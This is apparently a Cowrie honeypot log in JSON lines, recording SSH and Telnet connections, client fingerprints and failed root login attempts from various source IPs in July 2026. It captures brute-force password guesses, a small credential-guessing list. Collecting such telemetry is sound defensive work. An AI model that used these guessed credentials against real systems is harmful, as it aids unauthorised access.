{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:47.696024Z","src_ip":"103.199.16.90","session":"e23976f51fdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:57.870152Z","src_ip":"8.210.75.243","session":"f21e0be83cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":50780,"dst_ip":"10.17.0.5","dst_port":22,"session":"78efbf8bc582","protocol":"ssh","message":"New connection: 105.27.148.94:50780 (10.17.0.5:22) [session: 78efbf8bc582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:58.926407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:58.929826Z","src_ip":"105.27.148.94","session":"78efbf8bc582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:52:59.137536Z","src_ip":"105.27.148.94","session":"78efbf8bc582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kk123456@","message":"login attempt [root/Kk123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:00.007725Z","src_ip":"105.27.148.94","session":"78efbf8bc582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:01.219012Z","src_ip":"105.27.148.94","session":"78efbf8bc582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35032,"dst_ip":"159.203.135.109","dst_port":23,"session":"d69281813f60","protocol":"telnet","message":"New connection: 170.64.224.25:35032 (159.203.135.109:23) [session: d69281813f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:01.826617Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":57258,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26fdaf57fd4","protocol":"telnet","message":"New connection: 107.6.151.170:57258 (159.203.135.109:23) [session: c26fdaf57fd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:03.249653Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":49806,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfc71c03c0de","protocol":"ssh","message":"New connection: 81.192.46.32:49806 (10.17.0.5:22) [session: bfc71c03c0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:17.561163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:17.564685Z","src_ip":"81.192.46.32","session":"bfc71c03c0de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:17.677412Z","src_ip":"81.192.46.32","session":"bfc71c03c0de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#$%^&*","message":"login attempt [root/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:18.165155Z","src_ip":"81.192.46.32","session":"bfc71c03c0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:19.280086Z","src_ip":"81.192.46.32","session":"bfc71c03c0de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.81291460990906,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:27.639523Z","src_ip":"170.64.224.25","session":"cc344d5023aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":50082,"dst_ip":"10.17.0.5","dst_port":22,"session":"67a22ff13d58","protocol":"ssh","message":"New connection: 152.200.205.179:50082 (10.17.0.5:22) [session: 67a22ff13d58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:29.669090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:29.674484Z","src_ip":"152.200.205.179","session":"67a22ff13d58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:29.766863Z","src_ip":"152.200.205.179","session":"67a22ff13d58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pedro123","message":"login attempt [root/pedro123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:30.173184Z","src_ip":"152.200.205.179","session":"67a22ff13d58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:31.268817Z","src_ip":"152.200.205.179","session":"67a22ff13d58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36700,"dst_ip":"159.203.135.109","dst_port":23,"session":"07128f09c39d","protocol":"telnet","message":"New connection: 170.64.224.25:36700 (159.203.135.109:23) [session: 07128f09c39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:34.135821Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":54916,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bde6c767da8","protocol":"telnet","message":"New connection: 107.6.151.170:54916 (159.203.135.109:23) [session: 6bde6c767da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:38.861090Z"}
{"eventid":"cowrie.session.closed","duration":0.003943920135498047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:38.864886Z","src_ip":"107.6.151.170","session":"6bde6c767da8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":43362,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d6a8d5c0ce3","protocol":"telnet","message":"New connection: 107.6.151.170:43362 (159.203.135.109:23) [session: 6d6a8d5c0ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:39.780978Z"}
{"eventid":"cowrie.session.closed","duration":0.003923177719116211,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:39.784788Z","src_ip":"107.6.151.170","session":"6d6a8d5c0ce3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:46.390418Z","src_ip":"8.210.75.243","session":"8f8c5caee85f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":49022,"dst_ip":"10.17.0.5","dst_port":22,"session":"8abdc4665e2e","protocol":"ssh","message":"New connection: 87.106.29.151:49022 (10.17.0.5:22) [session: 8abdc4665e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:47.801161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:47.804945Z","src_ip":"87.106.29.151","session":"8abdc4665e2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:47.896081Z","src_ip":"87.106.29.151","session":"8abdc4665e2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tt123456.","message":"login attempt [root/Tt123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:48.300611Z","src_ip":"87.106.29.151","session":"8abdc4665e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40998,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf58842a75c","protocol":"ssh","message":"New connection: 8.210.75.243:40998 (10.17.0.5:22) [session: 9bf58842a75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:48.877767Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:49.395542Z","src_ip":"87.106.29.151","session":"8abdc4665e2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":49798,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1eae3e82363","protocol":"ssh","message":"New connection: 162.254.35.142:49798 (159.203.135.109:22) [session: c1eae3e82363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:54.525156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:54.528063Z","src_ip":"162.254.35.142","session":"c1eae3e82363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:54.596714Z","src_ip":"162.254.35.142","session":"c1eae3e82363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brd789","message":"login attempt [root/brd789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:54.797885Z","src_ip":"162.254.35.142","session":"c1eae3e82363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:55.253804Z","src_ip":"8.210.75.243","session":"b5f01d888a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:55.865926Z","src_ip":"162.254.35.142","session":"c1eae3e82363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":57716,"dst_ip":"159.203.135.109","dst_port":22,"session":"23209b25f175","protocol":"ssh","message":"New connection: 202.61.233.105:57716 (159.203.135.109:22) [session: 23209b25f175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:55.909785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:55.914481Z","src_ip":"202.61.233.105","session":"23209b25f175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:56.009235Z","src_ip":"202.61.233.105","session":"23209b25f175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wif456","message":"login attempt [root/wif456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:56.295436Z","src_ip":"202.61.233.105","session":"23209b25f175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:53:57.393121Z","src_ip":"202.61.233.105","session":"23209b25f175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.39076519012451,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:12.526495Z","src_ip":"170.64.224.25","session":"07128f09c39d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:15.407522Z","src_ip":"8.210.75.243","session":"9c579bd02b50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36922,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed999f7e3258","protocol":"ssh","message":"New connection: 8.210.75.243:36922 (10.17.0.5:22) [session: ed999f7e3258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:21.120202Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":60952,"dst_ip":"10.17.0.5","dst_port":22,"session":"72ec1038a5b0","protocol":"ssh","message":"New connection: 122.176.122.24:60952 (10.17.0.5:22) [session: 72ec1038a5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:24.616520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:24.619915Z","src_ip":"122.176.122.24","session":"72ec1038a5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:24.888664Z","src_ip":"122.176.122.24","session":"72ec1038a5b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q!w@e#r$t%","message":"login attempt [root/q!w@e#r$t%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:54:26.000813Z","src_ip":"122.176.122.24","session":"72ec1038a5b0","protocol":"ssh"}
